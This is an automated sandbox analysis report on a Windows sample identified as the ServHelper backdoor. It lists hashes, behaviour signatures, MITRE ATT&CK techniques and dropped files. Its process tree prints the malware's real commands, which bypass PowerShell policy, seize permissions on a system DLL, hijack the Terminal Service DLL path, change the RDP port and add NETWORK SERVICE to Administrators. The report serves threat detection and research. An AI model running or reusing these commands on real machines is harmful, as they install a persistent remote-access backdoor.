Analysis

  • max time kernel
    144s
  • max time network
    44s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    25-06-2022 01:31

General

  • Target

    9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca.exe

  • Size

    2.8MB

  • MD5

    b22a7f7748f329f11f883697f71f22df

  • SHA1

    172f2ec1b31de3237e24eeba79084bcd18b50f22

  • SHA256

    9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca

  • SHA512

    98867ae1c352ff8ebd2be803fdccdffe5a55fceb2d701245147bdcc9242837ce6f4ff379a68e44c7b36606245b1c84ad1d550cd2b94e05aeeaac4b29179322fb

Malware Config

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs 1 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 8 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca.exe
    "C:\Users\Admin\AppData\Local\Temp\9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1216
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout -t 15& powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:848
      • C:\Windows\system32\timeout.exe
        timeout -t 15
        3⤵
        • Delays execution with timeout.exe
        PID:1296
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1
        3⤵
        • Deletes itself
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:940
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1648
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:292
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:856
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1872
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1784
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:364
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1688
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1800
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          4⤵
            PID:1536
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            4⤵
            • Sets DLL path for service in the registry
            • Modifies registry key
            PID:1052
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            4⤵
              PID:908
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1972
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                5⤵
                  PID:2020
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                4⤵
                  PID:1724
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1804
                    • C:\Windows\system32\net.exe
                      net start rdpdr
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1756
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        7⤵
                          PID:1596
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1616
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                        PID:1104
                        • C:\Windows\system32\net.exe
                          net start TermService
                          6⤵
                            PID:1164
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 start TermService
                              7⤵
                                PID:1424
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                          4⤵
                            PID:1244
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                            4⤵
                              PID:1416

                      Network

                      MITRE ATT&CK Matrix ATT&CK v6

                      Persistence

                      Account Manipulation

                      1
                      T1098

                      Registry Run Keys / Startup Folder

                      1
                      T1060

                      Defense Evasion

                      Modify Registry

                      2
                      T1112

                      File Permissions Modification

                      1
                      T1222

                      Discovery

                      System Information Discovery

                      1
                      T1082

                      Lateral Movement

                      Remote Desktop Protocol

                      1
                      T1076

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\Users\Admin\AppData\Local\Temp\11.ps1
                        Filesize

                        1KB

                        MD5

                        c0fae5b04f67d12ca621200aac5378dc

                        SHA1

                        c82c80ff2a2abb57e9a23ac5a100d82c1d551238

                        SHA256

                        de678dd80006ed864550a034f48a93bf1cb5a31d706d6f25694f577f7867f2a0

                        SHA512

                        27e1c30a1ad0ab381f037eb4313f11c9c7c3eaa78b5893ba0df04cac006a4169c92d3c6f3b09d181c6862491f8793818d0e9becf355b9aa4a70bef199c536ff8

                      • C:\Users\Admin\AppData\Local\Temp\evil.ps1
                        Filesize

                        3.0MB

                        MD5

                        b3740c199fd47f917a62e0c426c46934

                        SHA1

                        e0d844544c0ca5d83a1c3e32da581e2b7ebb3906

                        SHA256

                        b739faf7a9dfc7fe969a4927190f14d176c7e387e280fc970f4414fdf1062134

                        SHA512

                        d2f22de404fdfa46affc4bfff83ae5b41733a99e2b5b06722705677ca5d2031ba2f85d86803564e842e161f4e924e1fd245c37f0998b1572c4c772ecd08f4dc5

                      • C:\Users\Admin\AppData\Local\Temp\uninst.dat.log
                        Filesize

                        102B

                        MD5

                        196e37a4fdff88c17578f514e4a039fa

                        SHA1

                        30d1438ae649421a2cb39f293c657947207933ae

                        SHA256

                        6a9aeceee4059adeadb51f95b9f34b592737a2cd190b945d4cce21c6e8a09dab

                        SHA512

                        78742d8312f9fa8e6360f6fb7a38d85fc85924f1387217dc6390c8e6a5c485d4a10885a1ad427f2135671712f2dc72abecd65766bc5e659e28caa2a432281630

                      • C:\Windows\system32\rfxvmt.dll
                        Filesize

                        40KB

                        MD5

                        dc39d23e4c0e681fad7a3e1342a2843c

                        SHA1

                        58fd7d50c2dca464a128f5e0435d6f0515e62073

                        SHA256

                        6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                        SHA512

                        5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                      • \Users\Admin\AppData\Local\Temp\nsy5BD.tmp\System.dll
                        Filesize

                        11KB

                        MD5

                        fbe295e5a1acfbd0a6271898f885fe6a

                        SHA1

                        d6d205922e61635472efb13c2bb92c9ac6cb96da

                        SHA256

                        a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1

                        SHA512

                        2cb596971e504eaf1ce8e3f09719ebfb3f6234cea5ca7b0d33ec7500832ff4b97ec2bbe15a1fbf7e6a5b02c59db824092b9562cd8991f4d027feab6fd3177b06

                      • \Users\Admin\AppData\Local\Temp\nsy5BD.tmp\blowfish.dll
                        Filesize

                        22KB

                        MD5

                        5afd4a9b7e69e7c6e312b2ce4040394a

                        SHA1

                        fbd07adb3f02f866dc3a327a86b0f319d4a94502

                        SHA256

                        053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

                        SHA512

                        f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

                      • \Users\Admin\AppData\Local\Temp\nsy5BD.tmp\blowfish.dll
                        Filesize

                        22KB

                        MD5

                        5afd4a9b7e69e7c6e312b2ce4040394a

                        SHA1

                        fbd07adb3f02f866dc3a327a86b0f319d4a94502

                        SHA256

                        053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

                        SHA512

                        f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

                      • \Users\Admin\AppData\Local\Temp\nsy5BD.tmp\blowfish.dll
                        Filesize

                        22KB

                        MD5

                        5afd4a9b7e69e7c6e312b2ce4040394a

                        SHA1

                        fbd07adb3f02f866dc3a327a86b0f319d4a94502

                        SHA256

                        053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

                        SHA512

                        f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

                      • \Users\Admin\AppData\Local\Temp\nsy5BD.tmp\blowfish.dll
                        Filesize

                        22KB

                        MD5

                        5afd4a9b7e69e7c6e312b2ce4040394a

                        SHA1

                        fbd07adb3f02f866dc3a327a86b0f319d4a94502

                        SHA256

                        053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

                        SHA512

                        f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

                      • \Users\Admin\AppData\Local\Temp\nsy5BD.tmp\nsUnzip.dll
                        Filesize

                        146KB

                        MD5

                        77a26c23948070dc012bba65e7f390aa

                        SHA1

                        7e112775770f9b3b24e2a238b5f7c66f8802e5d8

                        SHA256

                        4e4e429ecf1c49119a21c817899f64152b03b41b036fc1d92aee335043364c43

                        SHA512

                        2e7ffa4ed5c97f555e1b0d6f55ffcfd53cd28302fc77d95fdaea89e0b6b42e67e366331e52358e78e8266d079cc2ca3ea4c909197fb38a5b4c8151c7678d0065

                      • \Windows\Branding\mediasrv.png
                        Filesize

                        55KB

                        MD5

                        e816ab93cf35418b3c7ee71296081396

                        SHA1

                        8dffeaa3a807215f1f0fc4d4754c1dccf93244c6

                        SHA256

                        b7c930b6b289f3f2809fcfdeb270786d6c5c58d062f51fa43eaae33800261260

                        SHA512

                        790fa3c5f355e5faf44e94a23fd7e3176260502ceef6a4273578125fa3d52187349e5a982377c04291a15779ef905878d34f61d3e5ee5d3928872608817df524

                      • \Windows\Branding\mediasvc.png
                        Filesize

                        944KB

                        MD5

                        3346c7680c1a724104576721f058f8d6

                        SHA1

                        823926453ff44ddd192b2711ade78f2bfc7ebac0

                        SHA256

                        a4975203b5fc3a45b75f25bb2b81cac416fd9792dafb5dee9a304e7fea52a5d2

                        SHA512

                        23d1d3dfb80d09946bf28a29cc8dbb9236b5c7e92c1cadddfd6e8ba8a8030a63a2e81d64e16b00775b1174207c699e297242ff09cc59a93e594fce408d2ca85e

                      • memory/292-74-0x0000000000000000-mapping.dmp
                      • memory/364-78-0x0000000000000000-mapping.dmp
                      • memory/848-61-0x0000000000000000-mapping.dmp
                      • memory/856-75-0x0000000000000000-mapping.dmp
                      • memory/908-83-0x0000000000000000-mapping.dmp
                      • memory/940-64-0x000007FEFBD21000-0x000007FEFBD23000-memory.dmp
                        Filesize

                        8KB

                      • memory/940-67-0x0000000002874000-0x0000000002877000-memory.dmp
                        Filesize

                        12KB

                      • memory/940-71-0x000000000287B000-0x000000000289A000-memory.dmp
                        Filesize

                        124KB

                      • memory/940-70-0x0000000002874000-0x0000000002877000-memory.dmp
                        Filesize

                        12KB

                      • memory/940-69-0x000000000287B000-0x000000000289A000-memory.dmp
                        Filesize

                        124KB

                      • memory/940-100-0x000000000287B000-0x000000000289A000-memory.dmp
                        Filesize

                        124KB

                      • memory/940-99-0x0000000002874000-0x0000000002877000-memory.dmp
                        Filesize

                        12KB

                      • memory/940-66-0x000007FEF2E70000-0x000007FEF39CD000-memory.dmp
                        Filesize

                        11.4MB

                      • memory/940-63-0x0000000000000000-mapping.dmp
                      • memory/940-65-0x000007FEF39D0000-0x000007FEF43F3000-memory.dmp
                        Filesize

                        10.1MB

                      • memory/1052-82-0x0000000000000000-mapping.dmp
                      • memory/1104-90-0x0000000000000000-mapping.dmp
                      • memory/1164-91-0x0000000000000000-mapping.dmp
                      • memory/1216-54-0x0000000075951000-0x0000000075953000-memory.dmp
                        Filesize

                        8KB

                      • memory/1244-97-0x0000000000000000-mapping.dmp
                      • memory/1296-62-0x0000000000000000-mapping.dmp
                      • memory/1416-98-0x0000000000000000-mapping.dmp
                      • memory/1424-92-0x0000000000000000-mapping.dmp
                      • memory/1536-81-0x0000000000000000-mapping.dmp
                      • memory/1596-88-0x0000000000000000-mapping.dmp
                      • memory/1616-89-0x0000000000000000-mapping.dmp
                      • memory/1648-72-0x0000000000000000-mapping.dmp
                      • memory/1688-79-0x0000000000000000-mapping.dmp
                      • memory/1724-86-0x0000000000000000-mapping.dmp
                      • memory/1756-87-0x0000000000000000-mapping.dmp
                      • memory/1784-77-0x0000000000000000-mapping.dmp
                      • memory/1800-80-0x0000000000000000-mapping.dmp
                      • memory/1872-76-0x0000000000000000-mapping.dmp
                      • memory/1972-84-0x0000000000000000-mapping.dmp
                      • memory/2020-85-0x0000000000000000-mapping.dmp